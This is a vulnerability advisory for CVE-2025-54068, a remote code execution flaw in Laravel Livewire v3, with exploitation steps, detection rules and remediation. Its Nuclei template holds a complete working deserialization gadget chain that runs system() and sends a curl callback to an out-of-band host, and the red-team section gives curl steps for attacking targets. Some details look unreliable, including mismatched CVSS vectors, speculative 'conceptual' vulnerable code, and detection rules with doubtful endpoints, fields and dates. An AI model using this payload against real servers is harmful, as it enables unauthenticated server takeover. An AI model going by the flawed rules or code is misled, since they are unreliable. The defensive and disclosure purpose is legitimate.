CVE-2025-54068

Executive Summary

CVE-2025-54068 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in Livewire v3, a full-stack framework for Laravel. The flaw resides in the component hydration mechanism, specifically how certain property updates are unmarshaled. An attacker can craft a malicious serialized payload that, when processed by the framework, leads to arbitrary command execution on the server. The vulnerability is unique to Livewire v3 and does not affect prior major versions. Exploitation requires a component to be mounted and configured in a particular way, but does not require authentication or user interaction. The vulnerability has been patched in Livewire v3.6.4, and all users are strongly encouraged to upgrade immediately. No known workarounds are available.

Supply Chain & Package Security

This vulnerability affects the livewire/livewire package, which is a critical dependency for Laravel applications using Livewire v3. The package is distributed via Composer (Packagist). The supply chain risk is high, as any application using an affected version is directly exploitable. Organizations should verify their composer.json for the livewire/livewire package and ensure it is pinned to version ^3.6.4 or later. A malicious actor could compromise the package's update mechanism or inject a backdoored version, though no such incidents have been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is Critical. The vulnerability can be exploited remotely without authentication, leading to full server compromise.

Deep Dive & Mechanics

The vulnerability is a classic deserialization flaw (CWE-502) in Livewire's component hydration process. When a Livewire component is updated, the framework receives a serialized snapshot of the component's state. This snapshot is then deserialized (unmarshaled) to reconstruct the component's properties. The issue is that the deserialization process does not properly validate or sanitize the incoming data, allowing an attacker to inject arbitrary PHP objects.

The exploit chain works as follows:

1. Initial Request: The attacker sends a GET request to a page containing a Livewire component. The response includes a wire:snapshot attribute containing a serialized representation of the component's state.
2. Extraction: The attacker extracts the CSRF token, update URI, and the snapshot from the initial response.
3. Crafted Update: The attacker sends a POST request to the update URI with a maliciously crafted snapshot. This snapshot contains a gadget chain that, when deserialized, executes arbitrary commands.
4. Deserialization: Livewire's hydration mechanism deserializes the malicious snapshot, triggering the gadget chain and executing the attacker's command.

The specific gadget chain used in the provided Nuclei template leverages PHP's native deserialization gadgets from libraries like Laravel\Broadcasting\BroadcastEvent, Illuminate\Validation\Validator, GuzzleHttp\Psr7\FnStream, and League\Flysystem\UrlGeneration\ShardedPrefixPublicUrlGenerator. These gadgets are chained together to achieve arbitrary command execution via system().

Vulnerable vs. Patched Code

The vulnerable code is in Livewire's hydration logic, specifically in the HydrateProperty or similar mechanism that handles the deserialization of component property updates. The exact vulnerable code is not publicly disclosed, but the patch in v3.6.4 likely introduces stricter validation of the incoming serialized data, such as:

• Allowed Classes Whitelist: Restricting which classes can be deserialized.
• Integrity Checks: Adding HMAC or signature verification to the snapshot to prevent tampering.
• Type Enforcement: Ensuring that deserialized data matches expected types and structures.

Vulnerable Code (Conceptual):

// In Livewire v3 < 3.6.4
public function hydrateProperty($property, $value)
{
    // Unsafe deserialization
    $this->{$property} = unserialize($value);
}

Patched Code (Conceptual):

// In Livewire v3 >= 3.6.4
public function hydrateProperty($property, $value)
{
    // Validate and sanitize the value before deserialization
    $allowedClasses = ['string', 'int', 'float', 'bool', 'array', 'stdClass'];
    $this->{$property} = $this->safeUnserialize($value, $allowedClasses);
}

private function safeUnserialize($value, $allowedClasses)
{
    // Implement a safe unserialize function that checks class names
    // against an allowed list
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Laravel application running Livewire v3 < 3.6.4.
• A Livewire component that is mounted and configured in a way that allows property updates (e.g., a form component).
• An interactsh server or similar callback listener for out-of-band (OOB) detection.

Exploitation Steps:

1. Identify Target: Find a Laravel application using Livewire v3. Look for pages with wire:snapshot attributes in the HTML source.
2. Extract Information: Send a GET request to the target page and extract the CSRF token, update URI, and the initial snapshot.
3. Craft Payload: Use the provided Nuclei template or a custom script to generate the malicious snapshot. The payload will execute a command (e.g., curl to an interactsh URL) to confirm RCE.
4. Send Exploit: Send a POST request to the update URI with the crafted snapshot.
5. Verify: Check your interactsh server for the callback, confirming command execution.

Example Exploit (using curl):

# Step 1: Extract initial data
curl -s http://target.com/page-with-livewire | grep -oP 'wire:snapshot="\K[^"]+' > snapshot.txt
curl -s http://target.com/page-with-livewire | grep -oP 'data-csrf="\K[^"]+' > csrf.txt
curl -s http://target.com/page-with-livewire | grep -oP 'data-update-uri="\K[^"]+' > update_uri.txt

# Step 2: Craft and send exploit (using a script or manual payload)
# The payload is complex and best generated using the Nuclei template or a custom Python script.
# For demonstration, we assume a script `exploit.py` that takes the extracted data and sends the exploit.
python3 exploit.py --target http://target.com --snapshot $(cat snapshot.txt) --csrf $(cat csrf.txt) --uri $(cat update_uri.txt) --callback http://your-interactsh-server.com

Nuclei Template (Provided):

id: CVE-2025-54068

info:
  name: Laravel Livewire v3 - Remote Command Execution
  author: flame-11
  severity: critical
  description: |
    Livewire v3 (Laravel) contains a vulnerability in its component hydration/update mechanism that can be exploited to reach remote command execution (RCE) without authentication under certain conditions.
  impact: |
    An unauthenticated attacker may execute arbitrary commands in the web server context.
  remediation: |
    Upgrade livewire/livewire to a patched version (>= 3.6.4).
  reference:
    - https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3
    - https://github.com/synacktiv/Livepyre
    - https://www.synacktiv.com/en/publications/livewire-remote-command-execution-through-unmarshaling
    - https://www.synacktiv.com/sites/default/files/2025-09/slides-livewire-nullcon2025.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54068
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.8
    cve-id: CVE-2025-54068
    epss-score: 0.53477
    epss-percentile: 0.97997
    cwe-id: CWE-502
    cpe: cpe:2.3:a:laravel:livewire:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    shodan-query: html:"wire:id"
  tags: cve,cve2025,laravel,livewire,rce,deserialization,oast,intrusive,vkev,kev

flow: http(1) && http(2) && http(3)

variables:
  marker: "{{randstr}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(body, 'wire:snapshot=')"
          - "contains(body, 'data-update-uri=')"
          - "contains(body, 'data-csrf=') || contains(body, 'csrf-token')"
        condition: and

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        internal: true
        regex:
          - 'data-csrf="([^"]+)"'
          - '"csrf"\s*:\s*"([^"]+)"'
          - '<meta name="csrf-token"\s+content="([^"]+)"'

      - type: regex
        name: update_uri
        part: body
        group: 1
        internal: true
        regex:
          - 'data-update-uri="([^"]+)"'
          - '"uri"\s*:\s*"([^"]+)"'

      - type: regex
        name: snapshot_attr
        part: body
        group: 1
        internal: true
        regex:
          - 'wire:snapshot="([^"]+)"'

      - type: regex
        name: param_name
        part: body
        group: 1
        internal: true
        regex:
          - 'wire:snapshot="[^"]*(?:&quot;data&quot;:\{&quot;|\"data\":\{\"?)([A-Za-z0-9_]+)'

  - method: POST
    path:
      - "{{BaseURL}}/{{trim_prefix(update_uri,'/')}}"
    headers:
      Content-Type: application/json
    body: |
      {
        "_token": "{{csrf_token}}",
        "components": [
          {
            "snapshot": "{{replace(replace(html_unescape(snapshot_attr),'\\','\\\\'),'\"','\\\"')}}",
            "updates": { "{{param_name}}": [] },
            "calls": []
          }
        ]
      }

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
          - "contains(body, 'snapshot')"
        condition: and

    extractors:
      - type: json
        name: snapshot_signed
        part: body
        internal: true
        json:
          - ".components[0].snapshot"

  - method: POST
    path:
      - "{{BaseURL}}/{{trim_prefix(update_uri,'/')}}"
    headers:
      Content-Type: application/json
    body: |
      {
        "_token": "{{csrf_token}}",
        "components": [
          {
            "snapshot": "{{replace(replace(snapshot_signed,'\\','\\\\'),'\"','\\\"')}}",
            "updates": {
              "{{param_name}}": [
                1,
                [
                  {
                    "a": [
                      {
                        "__toString": "phpversion",
                        "close": [
                          [
                            [
                              {
                                "chained": [
                                  "O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:6:\"system\";}}s:8:\"\u0000*\u0000event\";s:{{len('curl -m 4 -fsS http://{{interactsh-url}}/?q={{marker}}')}}:\"curl -m 4 -fsS http://{{interactsh-url}}/?q={{marker}}\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"
                                ]
                              },
                              {
                                "s": "form",
                                "class": "Illuminate\\Broadcasting\\BroadcastEvent"
                              }
                            ],
                            "dispatchNextJobInChain"
                          ],
                          {
                            "s": "clctn",
                            "class": "Laravel\\SerializableClosure\\Serializers\\Signed"
                          }
                        ]
                      },
                      {
                        "s": "clctn",
                        "class": "GuzzleHttp\\Psr7\\FnStream"
                      }
                    ],
                    "b": [
                      {
                        "__toString": [
                          [
                            [
                              null,
                              {
                                "s": "mdl",
                                "class": "Laravel\\Prompts\\Terminal"
                              }
                            ],
                            "exit"
                          ],
                          {
                            "s": "clctn",
                            "class": "Laravel\\SerializableClosure\\Serializers\\Signed"
                          }
                        ]
                      },
                      {
                        "s": "clctn",
                        "class": "GuzzleHttp\\Psr7\\FnStream"
                      }
                    ]
                  },
                  {
                    "class": "League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator",
                    "s": "clctn"
                  }
                ]
              ]
            },
            "calls": []
          }
        ]
      }

    matchers:
      - type: word
        part: interactsh_request
        words:
          - "?q={{marker}}"
# digest: 490a004630440220650cd47f7992db4abaf7ffc1898d299442d1959772a43e13f31ad9be093ef07a0220522462ab5fa4df03005a1cad829191ed9a6ff536e88a8a74d6e035cc0cc5fe67:922c64590222798bb761d5b6d8e72950

Blue Team

Detection:

• Monitor for unusual POST requests to Livewire update endpoints (e.g., /livewire/message/...).
• Look for requests with abnormally large or malformed snapshot parameters.
• Detect deserialization attempts by monitoring for PHP error logs containing unserialize() errors or class not found errors.
• Use the provided YARA and Sigma rules to detect exploitation attempts.

Hunting:

• Search web server logs for requests containing wire:snapshot followed by suspicious base64-encoded or serialized data.
• Correlate outbound connections from the web server to unknown external hosts (potential callback channels).
• Review application logs for unexpected exceptions related to deserialization or hydration.

Response:

• Immediately isolate affected servers.
• Upgrade Livewire to v3.6.4 or later.
• Review and rotate any credentials that may have been exposed.
• Conduct a forensic analysis to determine the scope of the compromise.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP/HTTPS requests to interactsh or other OOB callback servers.
  • POST requests to /livewire/message/... with a snapshot parameter containing serialized PHP objects.
• Host:
  • Unexpected processes spawned by the web server user (e.g., curl, wget, bash).
  • Files created in web-accessible directories (e.g., webshells).
  • Modified or new cron jobs.
• Logs:
  • PHP error logs containing unserialize(): Error at offset or similar deserialization errors.
  • Web server access logs showing requests with wire:snapshot and a long, encoded string.
• YARA Rule:

rule CVE_2025_54068_Exploit_Attempt {
    meta:
        description = "Detects exploitation attempts of CVE-2025-54068 in Livewire v3"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-54068"
    strings:
        $snapshot = "wire:snapshot="
        $serialized = /O:\d+:"[^"]+":\d+:/  // Matches PHP serialized object strings
        $gadget1 = "Illuminate\\Broadcasting\\BroadcastEvent"
        $gadget2 = "Illuminate\\Validation\\Validator"
        $gadget3 = "GuzzleHttp\\Psr7\\FnStream"
        $gadget4 = "League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator"
        $gadget5 = "Laravel\\SerializableClosure\\Serializers\\Signed"
    condition:
        $snapshot and (any of ($gadget*)) and $serialized
}

Detection Engineering

YARA Rule

rule CVE_2025_54068_Exploit_Attempt {
    meta:
        description = "Detects exploitation attempts of CVE-2025-54068 in Livewire v3"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-54068"
    strings:
        $snapshot = "wire:snapshot="
        $serialized = /O:\d+:"[^"]+":\d+:/
        $gadget1 = "Illuminate\\Broadcasting\\BroadcastEvent"
        $gadget2 = "Illuminate\\Validation\\Validator"
        $gadget3 = "GuzzleHttp\\Psr7\\FnStream"
        $gadget4 = "League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator"
        $gadget5 = "Laravel\\SerializableClosure\\Serializers\\Signed"
    condition:
        $snapshot and (any of ($gadget*)) and $serialized
}

Sigma Rule

title: CVE-2025-54068 Livewire v3 RCE Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Livewire update endpoints containing malicious serialized payloads.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54068
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/livewire/message/"
        cs-uri-query|contains: "snapshot="
        cs-uri-query|contains|base64: "O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\""
    condition: selection
falsepositives:
    - Legitimate Livewire component updates (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54068 Livewire v3 RCE Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/livewire/message/"; http_uri; content:"snapshot="; http_client_body; pcre:"/O:\d+:\"Illuminate\\Broadcasting\\BroadcastEvent\"/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Livewire: Update the livewire/livewire package to version 3.6.4 or later.

   composer require livewire/livewire:^3.6.4
   

2. Apply WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing known gadget chains (e.g., Illuminate\Broadcasting\BroadcastEvent, Illuminate\Validation\Validator).
3. Monitor Logs: Actively monitor web server and application logs for signs of exploitation.

Long-Term Mitigations:

• Input Validation: Implement strict input validation and sanitization for all user-supplied data.
• Deserialization Hardening: Use a safe deserialization library that restricts allowed classes.
• Least Privilege: Run the web server with the least privileges necessary.
• Regular Updates: Keep all dependencies up to date, especially security-critical packages like Livewire.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit https://valtersit.com.

{/* [Security Hash: E9E5103378920837E1EB3225] */}